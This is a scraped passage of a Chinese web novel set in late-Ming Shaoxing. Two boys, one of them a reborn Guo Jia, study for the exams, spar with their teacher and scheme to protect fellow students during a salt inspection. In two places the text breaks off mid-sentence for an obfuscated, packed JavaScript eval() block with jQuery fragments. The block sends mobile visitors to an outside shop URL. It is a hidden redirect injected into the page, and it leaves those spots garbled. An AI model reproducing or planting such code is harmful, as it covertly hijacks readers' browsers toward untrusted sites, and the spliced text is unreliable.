看着桌上的烤番薯,他难免的,少有的,筷子一顿。 “怎么?这番薯几代改良,如今滋味比起以前可是好上不少了!盈儿尝尝。”郭怡说着话,手上挑了块最大的放进周盈碗里。 “……” 周盈欲哭无泪,想起当年自己吃了大半年的番薯,如今真是看着都有点反胃。 郭嘉则是生无可恋的嘴里咀嚼,诶…这什么时候是个头啊。 月朗风清,屋内灯火通明。 大人魂小孩身的郭奉孝,这会儿已经初显酒鬼之姿,若说家里头酿酒最先造福的是谁?那必然是小郭狐狸了。 “少喝点,等会儿郭娘又要扯着你耳朵罚你了。” 听到劝告,郭嘉哼哼两声:“我就喝一点儿,半壶还没到呢!” 刚洗完澡,披着黑发,一身素衣广袖的周盈,修长的手里捧着本书。 是朱子所著《中庸》注解。 想在人卷人的科举路上脱颖而出,光做读四书五经远远不够,这些所谓的圣人注解,也是必读之物。 因为说不准什么时候,出题考官脑子抽风,截取的前后题目让人见之懵逼,观之如象形文。 这个时候,注解就起了作用,懂一句话什么意思,即便是前后拼凑,从意思推导,大概也能推个七七八八。 见他依在椅子上,郭嘉披着衣服,也搬了个椅子坐下。 “嗯?”周盈侧头瞥向他。 长睫翕动,似有迟疑:“你功课做完了吗?今天陈夫子还与我说,盯你紧点儿,明日他要抽查。” “????”你能不能不要老是这样破坏气氛! 郭奉孝没好气,诶……算了! “你这个人,真没意思。” “哦?奉孝有何见解?” 郭嘉撩起袖子,拿起一侧蒲扇缓缓动作:“我是说,如今周娘的小作坊,产出显然有些不足,那百亩田,还是先前归宗的时候,郭氏黑着脸拨的。” “所以……?” “所以,我觉得,咱们可以再要点,拿来种桑种粮,还可以多点地方试种些外面传进来的农作物,比方说先前的番薯,如今的亩产已从最初百斤,升至现在约二百。” “显然,这个法子是行得通的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614096|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>这小郭狐狸,又开始打着郭氏田地的主意了。 买卖田地,在这会儿很常见,在后世叫做土地兼并。 这会儿,凡当地有些分量的乡绅,名下都是几百亩田起步。如郭氏这般,小有名气的,大约是奔着千亩去的。 周盈闻言想了想:“好主意,但郭氏那边,没那么容易松口。” “我知道,但前些天他们不是还派人来过问了吗?送点破烂就想让咱们心生感激?再者,联考近在眼前,你我二人考出了名堂,自然是有谈判的余地。” 这话郭嘉说的是头头是道,周盈深以为然,手抄起边上的书,递到他跟前:“你说得对,所以快学。” “……” 于是,二者无言,挑灯夜读,各自回房安然入睡。 一早,拿了个包子和烤番薯,周盈便也不在家里吃早饭了,两个人匆匆进了私塾大门。 “等会儿陈夫子问,你就说我昨天肚子不舒服,去看大夫了。” “可别,到时,还是你想想自己怎么亲口跟夫子说吧。” 郭嘉瞪大眼睛,心想着咱俩友谊的小船,怎么说翻就翻呢? “诶?今日怎么宗子兄没来?”一旁的杨业见原先张岱的位置,如今是空无一人,也不知是出了什么事,不免地询问起和张岱走的近的两个人。 周盈闻言,看了一眼,脸上神情不显,只道:“或许,是家里有什么事,耽搁了吧。” 杨业皱眉,也没再说什么。 门口陈夫子走进来,原先窸窸窣窣,低语切切的班里,顿时就安静如鸡了。 陈夫子那双锐利的目光,看了一眼张岱空缺的位置,转而又看向低着头一言不发的郭嘉。 “今天,不授课,有件事要跟你们谈。” 这话出口,一时间屋里头的学生们都好奇抬头。俗话说得好,夫子讲课我瞌睡,夫子八卦我精神。 显然不论是什么时候,学生们对老师在课堂讲八卦的故事,都是趋之若鹜的。 “大家也知道,再过两个月便是绍兴联考,届时整个绍兴府,所有有名的私塾学院,当世大儒,都会出席考场。” “这对于你们考取功名,颇有裨益,但更紧要的是,得了名次,便可前往心仪学院交换学习!” 陈夫子说到这儿,顿了顿,看向底下的学生。 学生们:阿巴巴巴巴……夫子说得对! “我这么说,也是因着私塾的几个夫子商议,联考名额就那么些,只能从私塾内挑选最拔尖的苗子。” 底下的学生闻言,这会儿倒是给了点反应:“诶?夫子,那是说,咱们也不能全去?要怎么挑呢?” 陈夫子呵呵一笑,随后板起脸:“问到实处了!自然是谁考的好,辩的好,写的策妙,谁就胜出。” 郭嘉:怎么背后一凉,有股不妙的感觉?! “因而——” 语气一顿,陈夫子走到了郭嘉边上,意有所指:“接下来一个半月,尔等课业加倍,十日小考,考的经文,策略,临场辩论,我和几个夫子,都会旁观。” “……” 啊不是……夫子,你就算是想给这两个妖孽开小灶,也不至于……带着我们一起折磨吧? 杨业张了张嘴,眨了眨眼睛,不可置信。 更有人跳起来:“这会不会太紧张了些?” “是啊,这、这本来课业就重了,夫子再加……我等只能挑灯夜读了。” 陈夫子手上拿起一本书,看了一眼那个开口说话的学生,对方缩了缩脖子。 吓人! 于是乎,一堂让人昏昏欲睡的讲课开始了。 当然,也不是所有人打瞌睡,只有郭奉孝,听到眼冒金星,受不了,当真是受不了。 “奉孝。” “……!”听到动静的郭嘉一个激灵。 周围人哄堂大笑。 “呀,我们的小谋士,怎么还在课堂上睡觉的?”陈夫子低头看了他一眼,并且带着几分戏谑。 然后大家笑得更大声了,气氛一时间极为活跃。坐在郭嘉边上的周盈叹息摇头,板着一张脸强忍着。 “前有陈群斥郭嘉‘不治行检’,今亦有陈夫子批郭嘉‘玩物丧志’。昨日你去哪了?” “……”郭嘉目光露出几分哀求的看向周盈。 对方见死不救,只拿起书本挡住半张脸,微微一弯眼睛,长睫翕动如羽毛般。 “哼,逃课?我看,你还是功课太少,还有心思放在外面?” “呃……也不是。夫子,我昨日、昨日是陪着张师兄出去的!那师兄邀约,我这个做师弟,怎么能拒绝?而且我们出去也不是为了玩,是去听那《牡丹亭记》!” “尝闻玉茗先生至情之道,百闻不如一见,我今一观,方知人心之情,烈可近乎生死,这不正也是求索问道?” 周盈听他歪理邪说,眼里头都露出几分不得了的神情,胡说八道还得是你郭奉孝啊。 “再言,心即理,这般求索之心,夫子——” 且看那陈夫子,阴沉的都滴水了,弯腰不知从何处拿出藤条来。 郭嘉:不是,还能这么玩吗?!出去又不是鬼混!陈夫子你真较真! 25.第 25 章 郭奉孝的胡说八道,让在座的师兄弟都觉得,没眼看。 至于陈夫子? 听他说的一大通歪道理,还曲解王阳明“心即理”的思想,那真是气不打一处来! 哪有这么歪曲圣人言论的!阳明子所言“心即理”是‘至良知’,是推崇人修身养性,直至自身抵达身外无物,与天理一般克制理性守己。 而不是被人随便照搬照抄,拿去做件坏事,就言:我是在追求我的理!我的心! 郭奉孝见此,咽了咽口水,心想现在的后辈,真是说不得,说几句,那就脸黑,气量狭小。 “好好好,哎…夫子,我错了,我抄书还不行吗?” 看了一圈周围憋笑的同窗,他这千年英明都碎成渣了! 陈夫子手上藤条挥的是虎虎生威,指着郭嘉,气的可谓是话都说不出了!真是个混世魔王! “你、你!我叫你们上进学习,难不成是为了我自己?小时不吃苦,长大方后悔!” 闻言,郭嘉垂下眼眸,等周围声音渐停,偏又要冒出一句:“夫子,我知道你要说什么。‘吃得苦中苦,方为人上人’这句话,本是不错的。” 刚看他似乎是没话说,转身欲走的陈夫子,马上就被截住了脚步,抓头皱眉看他:“那你说,你又要有什么歪理?” “我是说实话。吃苦也得看是什么苦。” “有的苦让你碌碌无为,一辈子奔波劳碌,为碎银几两,一无所成,这就是命苦。有的苦则是打断筋骨,前半生苦不堪言,却为厚积薄发,一飞冲天,此为辛苦。” 说到这里,不少坐着的学生,便都皱起眉来,连带着原先怒气冲冲的陈夫子,这会儿都不免迟疑深思。 见大家这般模样,郭嘉又言:“况且,蛮用力总归是越吃越苦,而这样的苦吃久了,假命苦也就成了真命苦。有谁会想认自己是个苦命人呢?” 周盈听到这,手不着痕迹的在桌子底下扯了扯郭奉孝的袖子,皱了皱眉,示意对方别说太过了。此话对却不尽对,这家伙歪道理一大堆,说出来的话偏还容易让人全绕进去,真是舌灿莲花,一口黑的都能说成白的了。 郭嘉眨巴了一下桃花眼,显然是没觉得自己说错什么,当然他最终的目的是…… “所以啊,夫子你这样做,让大家都吃一样的苦,有的人是‘辛苦’,有的人就是‘命苦’了!” “……” “……” 嘿…这逻辑,居然还让人觉得挺对? “呃。夫子,我也这么觉得……”当下就有学生点头,声音不算大。 “对嘛,天天这样,我觉得我是真‘命苦’了。” “郭师弟说的话不错,但夫子总归也是盼着我们好的。” “我都已经近一月没睡上个好觉了,梦里都是功课。” “……” 几个开口附和的‘命苦’师兄,这会儿也不知是没睡好还是怎的,眼底下都已经起了点黑眼圈,于是说起来的话,就更有信服力了。 杨业轻“噗”了一声,捂着嘴,坐他身边的那个学生咬着笔杆,声音也是带着几分笑:“郭师弟这话,堵得夫子都不知如何开口了。” “且看着吧,夫子说出的话,哪有收回的道理。” 眼看着底下学生窃窃私语,陈夫子深皱起眉,手捋胡须,将藤条随意丢在案桌上,语气比起先前倒缓和了不少:“你这句话,说的倒还人模人样。” 郭嘉:……我什么时候不人模人样了?夫子你歧视学生。 不过心里嘀咕归嘀咕,郭奉孝明面上,还是一副狡黠机灵的俊俏模样,一双桃花眼里带着十分的恳切看着陈夫子。 “夫子圣明~” “哼。”陈夫子瞥了一眼郭嘉,再看几个被课业‘□□’的学生,只说道:“这样,先前也算是我考虑不周。学习的悟性确实是因人而异,但怠慢,却是不争的懒惰!” “你既慕曹魏之‘郭嘉’,我也不硬要你整日按部就班。只需将课业完成,每日下学前,到我那儿抽查,过关了,便放你走,如何?” “……” 周盈捂脸,心想你非要顶出头跟陈夫子较什么真呢,现在好了,夫子单给你开“小灶”了,开心了? 这会儿的郭奉孝,瞪大眼睛:“夫子,这不妥,咱们私塾总得讲个公平才是。” “公平,是对普通人来说的。”陈夫子这会儿都已经找到了对付郭嘉的法门了,听对方这又开始搬出集体大旗,直接反着来:“瞧你才思敏捷,行事跳脱,常人所学,已不足矣。” “哦,你倒还提醒了我呢,奉孝当真是‘见事之敏,洞若观火’!嗯,不愧是咱们私塾的小谋士。” “呃……呵呵。”郭嘉扯了扯嘴角,发出了一声不太开心的笑。 陈夫子什么时候变得如此腹黑了……真是,没意思! “好了,继续上课!” 于是乎,在郭嘉一番辩论之下,陈夫子成功地……暂时减免作业,但十日一小考照旧!唯独郭奉孝,被私底下单独开‘小灶’了。 真是可喜可贺,班里的同学皆喜极而泣,郭师弟真不愧是‘小谋士’呢,以身入局,胜天半子! 课堂一晃而过,不多时便是晌午歇息。郭嘉心不在焉,脑子里全是下午放学后的抽查,这会儿心里也是有一种,搬起石头打自己的脚的后悔。 嗯…早知道就不说那么多了,乖乖抄书算了! 周盈看他这小表情,也是忍俊不禁,手敲了敲蛋壳,将刚煮好的茶叶蛋剥了个干净,递到他嘴边:“你啊,收收性子,在私塾还跟夫子斗什么?” 愣了愣的郭嘉伸手接过:“好了,现在就我一个被抓小辫了,欸……周盈,我的功课,你就帮我一起写了呗?” 他语气有点委屈,眨巴了一下眼睛:“我都牺牲这么大,为你们争取了学业上的宽松。” “不行,你莫不是忘了,我们跟郭氏打的赌了?”说到这事,周盈就正经起来了,他承认郭奉孝是聪明的天才,但天才也不能太狂放不羁了。 你那套丢到汉末管用,那是因为你生活的环境就那样,找的老板就那样。来到明末,原先那套就不大管用了,该学学,该练练。 真要把郭奉孝原先的那些行事作风搬过来。 那夫子不抽死你,等皇帝见着了,都能眼皮直跳。 他们以后可是要入朝为官的。 “哼,死读个书,能考出什么名堂,要我说,倒还不如跟人玩勾心斗角,排兵布阵来的有趣——” 眼看着周盈,原先那张如沐春风,清丽脱俗的面容上,逐渐阴沉下来,郭奉孝顿了顿:“行了,我知道了,这事儿我分得清轻重,你就放心吧。” 周盈闻言,咀嚼垂眸思忖,不多时咽下嘴里东西:“多的,我帮你写,但功课内的,你得自己写完。” 这话一出口,原先咬着茶叶蛋的郭嘉顿时眼睛一亮,凑过来狡黠一笑:“我就知道,汝瑛疼我。” “……” “欸,你们在这呢。”杨业声音传来,直接打断了两人的对话。 周盈抬起头,看到对方拎着个饭盒,便起身行礼:“杨师兄,找我等有事?” 闻言,杨业随性一笑,他生的俊朗,看着便叫人觉得亲和。坐下掀开盖子,杨业这才又说:“我是担心宗子,他今日没来,也不知道是出了什么事情。” 闻言间,周盈与咬着茶叶蛋的郭嘉对视一眼。 “张师兄家里出了一些事情,最近可能来不了。” 原先夹着菜,嘴里咀嚼的杨业,听到这句话顿时皱眉放下筷子,囫囵吞枣咽下后,紧忙开口追问:“到底怎么回事?可是宗子家里产业出了些问题?亦或是朝廷有什么动向?” 他问的话,着实让周盈微微惊讶,不过很快回神:“是朝廷来人,杨师兄可听过巡盐?” 此话一出,杨业微微睁大眼睛,反应过来后,左右看了看,发现没什么人靠近,这才紧着道:“自然。倒还没跟你们说起,我原扬州人,来此地求学,早些年,宗子家与我家长辈相交,两家也算是至交。淮扬一带,产盐颇盛,因而对此,并不陌生。” 一直在一旁吃饭的郭嘉听到这话,猛抬起头看向他。 “怎么?郭师弟……可是有什么不对?为何如此看我?”杨业被看的一时间摸不着头脑。 “哦…嘉弟也是好奇罢了。”周盈一笑,垂眸拿起杯子轻抿了一口,实则心里已经在开始疯狂思考。 难怪……难怪!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621636|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>难怪这巡盐御史,非得来绍兴府一遭,原来是这里牵扯上了关系。若杨业是淮扬一带的盐商大户,那么与之牵扯颇深的张岱一家,必与商业往来密切。 原先这模糊的逻辑,此时此刻才算是彻底的盘清楚了。 “周师弟?” 见气氛一时间安静下来,杨业觉得自己这饭吃的,怎么这么心慌慌呢? 周盈闻言,也没马上开口回应,反而是抬眸,一字一句:“杨师兄,实不相瞒,你要、大、难、临、头、了。” “???” 杨业有些问号……不是,是问题。 但他现在脸上就挂满了问号。 周盈皱眉,心想你这个政治敏感度,是怎么能活到现在的呢? 地主家的傻儿子可真多。 不过心里嘀咕归嘀咕,说出来的话则带着几分引导:“而今朝局动荡,前有浙党下马,后又有东林渐起,想来杨师兄略有耳闻?” 杨业颔首,脸色有些阴沉:“这是自然,东林之人这几年于士林中,名声颇显,便是与宗子私交甚密的几个,都是东林之人,想来诸位早已见过。” “咳!”呛了一下的郭嘉,赶忙拿起一杯水猛灌。 这让两人注意到他。 “郭师弟这是……” “哦,别理他,噎着了,小孩子就这样。” 郭嘉:呵呵… “我就直言,如今东林渐起,这样一个新的派系,想要得到陛下的重用,他们会怎么做呢?” 杨业看着眼前这个年轻的师弟,目如寒芒,所言之意,却让他颇有些毛骨悚然。他当然不是地主家的傻儿子,原先是不知消息,不懂朝局之变。 毕竟商绅出身,家族在朝中无关系者何其多,没点能耐,想拿到点消息谈何容易? 但不代表这批人,不聪明。相反的,这批人是最精明的,否则也不会在商道之上,能把家族经营的如此红火。 可无人护着,这样的红火,也不过是昙花一现罢了。 当下,杨业就脸色变得极差:“师弟是说,朝中东林的人,为了替皇帝办事,也为了自己的功绩,要准备在盐上面动手?” 周盈闻言,淡淡道:“慎言。天下无不是之君,只有奸佞之臣。” “如今国库亏空,为了钱,这批跃跃欲试的东林人,只怕也会想着法的捞钱,这就是根本原因。” 霎时,杨业面色如白纸一张,唇发抖着喉结一滚:“这岂不是…” 见他这般,郭嘉瞄了一眼周盈,只见这家伙气定神闲,几句话就把杨业说的汗流浃背如临大敌,心道这还真是有够坏的,坏心眼! “莫急,此事非无转圜之地。”也就在这个时候,周盈莞尔。 杨业顿了顿,皱眉:“周师弟,这些事情,你是怎么知道的?” “这个,师兄就不必多问了,如果不信,放学后,你可直接去找张师兄,到时候便知真假了。” 一番话过后,杨业急匆匆离开,约莫是下午的课都翘了。 手撑着脸颊,郭嘉啧了一声:“未尝想,这杨业家里头,也有点能耐。哎?我说,你我要是把这事情解决了,往后这二人,岂不是都归为我等所用?到时候连杨业这样的盐商大户都站在我们这边,这战略收益还真是颇丰。” 听他所言,修长手指捏着茶杯的周盈,浅笑一声:“但我们得先能活下来才行。” “……” “士为知己者死,你我拿性命豁出去保这二人,凡是个知恩图报的,都知道感恩。计虽狠,但可一试。”周盈低头看着杯中茶水,末了饮尽。 “真可怕。若非你我朋友,我都怕被你算计了。” 郭嘉闻言,说出这么一句听起来颇为玩笑的话。 撇过头的周盈,眯起眼,浅浅的光斑洒在树荫下,倒叫他半片脸藏在阴影中,长睫遮蔽些许眸中神情。 “做的是买卖,那就算利益。若做的是人情,那就得讲道义。虽救这二人,有你我考量在里面,但心却也是真的,至于其中掺杂了多少的算计和心思,也就不要太分清了。” “这就叫较真,伤人伤己。” 他说完这句话,便起身离开,徒留郭嘉一人坐在树荫下,深思片刻,轻啧一声。 26.第 26 章 晌午过,便是午睡歇息时间。 私塾内也就逐渐的安静了下来。 而夫子室,这会儿手上毛笔蘸了墨,正提笔往上写字的陈夫子,听闻门口脚步传来,便转头一看。 见素衣修长,脚步翩然。不过多时周盈便走进来,行了一礼。 他仿佛是察觉自己打扰了夫子,亦颇为不好意思:“可是惊扰夫子午休?” 陈夫子闻言,放下笔,他对周盈尤为器重,知道这个学生性子稳妥,才智出众,凡来找他,必有要事,因此摆手道:“出了什么事?难不成是奉孝又闹出什么动静了?” 嗯……这句话足可见,郭嘉在私塾里的名声有多么的“烂”了。 年轻的学生闻言莞尔一笑,走上前,将提在手里的那坛孩儿笑晃了晃:“是家母最新酿的酒,改良了些工序,比以往的更醇香。” “如今开了窖,这第一坛酒,学生便想拿过来让夫子先品,也算是全了我的一片敬重。” 周盈说的话滴水不漏,礼节更是周到,让陈夫子这个严肃板正的大儒,都挑不出错来。 对方颔首一笑,素来板着的脸上,也融来些许暖意:“你有心了,但夫子领了这心意,至于这酒,便拿回去吧。” 听到这话,周盈垂眸,走上前将这坛酒放在桌上,随后一掀衣摆,膝盖直直跪在地上。 这一番动作,直接惊的陈夫子脸色一变,上前一步,忙要将人扶起来:“你这是做什么?可是家中变故?亦或者是那郭氏又来找麻烦了?” “夫子。”周盈反手握住陈夫子欲扶他起来的手臂,抬头目光清亮,深邃的瞳孔全是冷静。 这让陈夫子手上动作一顿。 “我此番来,是为了给夫子磕头。以谢这些年来,私塾的栽培之情。” “夫子知我和嘉弟,是罪臣眷属,却并不心生轻慢,反替我等遮风挡雨,周旋郭氏,又为我等扫清弊端,剑指科第之路,若是寻常人,有夫子这般的引路人,已是三生有幸。” 话说到这,周盈眼眶微红。 见这素不喜色于言行的弟子,第一次这般隆重,又是跪地又是要磕头的,陈夫子心里大震,不多时便想到了什么一般。 “你要做什么?孩子,如今你前途大好,可不要为了一些事,毁了自己前程!”他声音带着些许的惊愕,手抓紧了周盈的胳膊。 跪在地上的学生,却一松手,挣脱开来,只是看着陈夫子,也没说什么,随后弯下腰,额头抵着地面。 就这样,屋内沉默。 屋外风声垂落枯叶。 寂静,又萧瑟。 而后。 周盈站起身。 “夫子常言,行止之举,合乎情理。而今,我之父亲,嘉弟之父亲,皆因一桩不明不白的矿税冤案而丢性命。” “此间之事,若无猫腻,弟子定是不信。” “再言,如今我等罪臣眷属之身,虽挂以郭氏之名,但到底隐患颇深,如今是朝廷未曾想起。” “等将来,我等入科,到时又该如何?” 陈夫子闻言,低下头叹息,眉头紧皱,不知所思为何,他素喜爱这两个弟子。周盈性沉稳,郭嘉性跳脱,二者皆是不世之才,堪有经纬学识,若非爱才之心,他何至于为其谋划至此? 旁的都说陈夫子古板,可却没有一个人,能从他的私德中指摘出什么来。 周盈亦能理解,这样的人已是脱离功名利禄之心,早触及来求索问道之心。 因而更为难得。 但这件事他也是非做不可的,这是为了打通官场之路的最后一件大事! 事事艰辛,因而事事必过。 想到这,他心里也是百感交集。 “夫子,人不可熟视无睹,亦不能言以蔽己。若是不能将此事查明,我等便一日难以出人头地。” “今日,张师兄缺课,夫子是否也有察觉不妥之处?” 周盈不想再卖关子,便也直接开门见山。 听到这话,陈夫子惊讶的抬头,看着他的目光透露出几分迟疑和不解:“你怎知道,宗子家里出事了?” 站着的人嘴角微翘,这一刻陈夫子只觉自己好像也从未完全了解过他这个学生。 “一些小小的情报网而已,多数也是学生自己推测,不尽数对,应大差不差。” 陈夫子作为山阴县的大儒,在当地颇有名声,自然也是和浙江文人圈私交甚密的,他的消息灵通是可以推测的。 至于周盈如此石破惊天的一言,则准是让陈夫子心里明白,接下来这个学生说的话,会很不一般。 他伸手,叫周盈暂且停下。走到门口,见左右无人后,便合上大门。 随后挥袖走进里间。 在外头站着的周盈见此,便也跟着走了进去。 “来,你坐。” 随意沏茶,陈夫子看着他道:“孩子,你知道多少?与夫子说一说。” 接过茶水的周盈,微垂眼睑,思忖了片刻道:“我只想知道,如今来绍兴府的巡盐御史,是否为东林之人?” “……” 陈夫子的手捏紧了茶杯。 周盈皱眉,眼眸一转:“好,我所知道的,尽与夫子说。” 话到这头,周盈也只好把自己先前的推断,局势的分析,以及朝廷这样做的最终目的是什么,全数的告诉了陈夫子。 “咣当——” 一声动静,竟是陈夫子一时间失态,手上杯子跌落,溅了满身茶水。 周盈看着他,目光干净见底。 陈夫子看着他,眼中深不可测。 “我之言,可有说错?但请夫子解惑。” “……”陈夫子转回头,手攥紧了一些,刚毅的面容板着,唇亦紧抿。 “你说的,十之七八都对。” “既如此,夫子为何如此惊讶?” 陈夫子闻言,心中早已是震撼不已。这才是一个七八岁的少年!如何能将朝廷局势分析得如此鞭辟入里? 况乎,还能从这巡盐御史突访绍兴府,便猜出是朝廷要用盐做文章? 更能剖析张岱家与杨业家的当前情况如何? 实在是……以妖孽称呼都不足以! 陈夫子猛地转头看他,一字一句,十分严肃:“这是谁告诉你的?你不要瞒着夫子,一定要全部说出来。” 听对方所言,似乎是觉有人故意这般撺掇自己,周盈心里也无奈至极,但也明白当前所说,早已不是一个七八岁少年能有的眼界和高度。 实在是局势所迫,逼不得已了。 “夫子,我若说,这些都是我一人之言,如何呢?我虽年幼,却也知朝廷之一举一动,皆关乎黎民小家,而今张师兄和杨师兄身陷囹圄,我作为师弟,亦是曾被他们庇护者,见之也无法置身事外啊!” “荒唐!”一拍桌,站起身的陈夫子声音严厉呵斥。 “你可知如今朝局水有多深?可知当今圣上心思如何?又能明白其中多少利害关系!” “而今张岱与杨业家里,牵扯的早已非巡盐之事,你一个无权无势的普通人,又怎么帮?该怎么帮?” “这件事,你不要多管了,至于罪臣眷属的名分,后头总有办法门解决。” 说到这,陈夫子独独深叹了口气,看着周盈,眼里既有藏不住的赞叹喜爱,却更是担忧多思。他又换了种语重心长的声线:“汝瑛,你天资过人,小小年纪已知人心幽微,这不是好事啊。切记藏拙,勿要锋芒毕露,否则过刚易折。” “……”周盈抿了抿唇。 也就在陈夫子转身欲走之际,他道:“夫子,我能说出这些,自然是有办法解决。” “……”陈夫子脚步一顿,转身瞪大眼睛,吹胡子瞪眼,似要怒斥。 而周盈起身:“我与嘉弟,乃矿税旧案唯一幸存者,而今是朝中党派争斗,牵扯于绍兴府中。巡盐不过是个幌子,除了清算打压浙党,也是为了把这个钱袋子抢过来。” “既如此,要保张师兄和杨师兄,我二人出面,便是最好的法子。” 陈夫子愣了愣:“你知不知道你在说什么?” “自然。”周盈也不藏着掖着了,拂袖间,负手上前。 虽说身高不够,但气质来凑,恍然不似一个少年人,仪态举止分外稳重。 “这水都快将绍兴府给淹了,咱们的家人,朋友,都还在这,总得自救?” “夫子,您是山阴县大儒,学生猜,此事您也应早有耳闻,且…清算浙党,其余牵扯之人,难道还会有好下场?” 此话所言全然不假,浙党素以浙东这块地方作为大本营,往年如日中天,因而整片江南富硕之地,大多数是由他们说了算的。 现今沈一贯下台,从此一蹶不振,新兴的东林派,欲跟其余齐、楚对抗,则势必要与之竞争原浙党留下的这块肥肉。 陈夫子到底是人脉广的,别忘了,他可是进士出身。能在数万万读书人里卷出头,没几个是草包。 屋内安静了一会儿,陈夫子笔直的身子转过来,良久无奈摇头,叹了一口气,仿佛有许多的话,到头却也只是说了一句:“我的同窗,我的老师,当年无不期盼着我能有出息,入朝为官,可我却厌恶官场的勾心斗角,辞官回乡,办了个私塾。” “本想着,教教学生,颐养天年就算了,不曾想,倒还真教出了两个绝世之才,还真是……” “是时也命也,也是缘中注定。”周盈浅笑,微弯的眸子锃亮。 陈夫子苦笑:“你有什么法子?又有什么把握?这事你不能管,也最好不要管。” 见他态度已经变软,周盈心知是火候到了,这便继续说道:“巡盐是危机,却也是机会。” “哦?”旁人听到这事,吓都吓破胆了,这小鬼,反倒说是机会?陈夫子都觉周盈在诓他。 “这样,如今朝中东林欲起,而国库亏空又需填补,如此 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其二,其余齐、楚派系,必然穷追猛打,而残余的浙党为求生,则势必死抓这根救命稻草。 其三,借陈夫子的士林圈,为二人造势出名。 其四,收张岱、杨业之心,其家族可为己用,山阴县士林、乡绅,皆莫敢不从。 其五,事成,引起朝中人注意,则必有人欲提前拉拢二人,倒是也算是给自己找了个保护伞吧。 其六,才是彻底洗清罪臣眷属的名头,彻底打通功名仕途之路。 实为一举多得,虽风险极大,但对二人来说嘛,没有风险的事情,才是最无聊的,因为收益颇微。 至于这个国库亏空怎么填……也只能让张岱和杨业等人,断臂求生了。毕竟钱这个东西,不能无中生有。 但可以买命。 活下来,才有别的可以说。 陈夫子约莫也是理清楚了,看着周盈的目光,带着十足的惊讶和深虑。便是他,一开始都没有想的这样清楚,一提点,这才反应过来。 但陈夫子心跳如雷,似乎已有所感应,而今朝野死气沉沉,做的是圣人学问,可为官的,却全然都是见利忘义之辈。 何其悲哀? “你…可当真,要如此做?” “自然。夫子栽培我等,不正是希望以后我们入朝为官,可以肃清朝野,中兴大明?”周盈莞尔,半点没有方才锋芒毕露的模样。 他知道陈夫子是怎样的人,可以说是迂腐古板,但却也是刚正不阿。 这种人最传统了,也最理想主义。 一番话落。 等周盈从屋里出来,都已经是黄昏天际,两人竟是聊了一个下午…… 想到自己莫名其妙翘了一个下午的课,周盈也是忍俊不禁。 他这个好学生,看来也没有那么“乖”嘛。 眼见着私塾里已经没什么人,回到班,看见郭嘉倚在椅子上,手拿着一本孟子注解,嘴里咬着笔杆的模样,显然是闲的不行。 “哟,回来了?下午林夫子布置了好些功课,不过没关系,我帮你写了一些。”郭嘉见到他,猛将搁在桌上的脚放下。 周盈迟疑的走过来,手上拿起书:“……” “怎么?” 周盈看了他一眼,一字一句:“好文章。奉孝大才。” “……”你有病不是?说话大喘气的。 眼看郭嘉脸上表情十足精彩,周盈噗嗤一笑,合上书:“好了,不逗你了,事情办完了,我们也该回去了。” 听到这话,郭嘉忙站起身,凑到弯腰收拾东西的周盈身边:“诶?你是怎么跟陈夫子说的?他那么古板,居然也会真的答应?” 周盈微顿,侧头瞧了他一眼:“奉孝不妨猜猜?” “嗯~我猜,你肯定是磕了个头!” “哦?何以见得?” “陈夫子这样的人,我见多了,就像陈群一样,最重礼节,古板归古板,你要是真按照他那套‘仁义礼智信’来,他还就真不会说你什么,反会觉得你是个可塑之才。” 周盈笑看他一眼:“知人莫如奉孝。” 这小郭狐狸得了夸奖,翘起嘴:“我就当你是夸我。” 两人相视一笑。 是夜,车马划转停在门口。 掀帘下车。 反倒是一惊。 只见门口左右官兵成列。 周盈皱眉,与郭嘉对视,只见对方眼里,也全然是忌惮和疑惑。 从门口出来的妇人行色匆匆,脸上满是焦急,见到两人,如见着了主心骨一般上前:“哎哟,小掌柜小少爷,你们可算是回来了!衙门来了人,这会儿正在屋里头坐着呢!我看那县令老爷看起来就不是个好相处的,点名道姓说要见你们。” 周盈心里一沉,面上不显。 27.第 27 章 “他可说了什么?母亲们呢?”掀衣跨进门槛,周盈身影修长笔直,脚步带着些许急促。 婆子摇头,叹了口气道:“周掌柜和郭掌柜这会儿在堂里候着,我们这些妇道人家,也不懂那些,但也知道恩字怎么写,说让我们收工回去,却也都没走呢。” 听到这话,周盈点头一笑:“好吧,如今我回来了,你们暂下去歇息就是,里面的事我来处理。” “哎!” 眼看婆子离开,郭嘉抱着胸:“这山阴县令,怎么今日突然造访?咱们跟他也不熟,难不成也是为了巡盐的事情?” 周盈叹息:“只怕不止如此,因还有矿案之事。” 郭嘉不说话了,皱眉不知道在想什么。 两个人脚步匆匆,朝着大堂而去。 堂屋内,一身着靛青官服的中年男人,正坐在上方,衣绣鸂鶒补子,头戴乌纱帽,腰环素银带。为万历二十八年举人,姓王名宗昌。 他见着周瑶和郭怡两人面色拘谨,只呵呵一笑:“本官前来,不是为了别的,只是来瞧瞧这名声远扬的孩儿笑,出自哪家作坊。” “再者,咱们山阴县出了两个神童,作为父母官的,不来过问过问,也算是失职。” 周瑶皱眉,心思一转,开口道:“官老爷,咱们都是妇道人家,为了拉扯孩子长大,前没有丈夫依靠,后又没有宗亲帮衬,这才不得已,自己打拼着开了家酒坊。” 如今孩儿笑名声起来了,孩子有出息了,那没脸的混账宗亲,这才派人过来慰问,大人你说说,这种事情,可不就是见人下菜碟?” 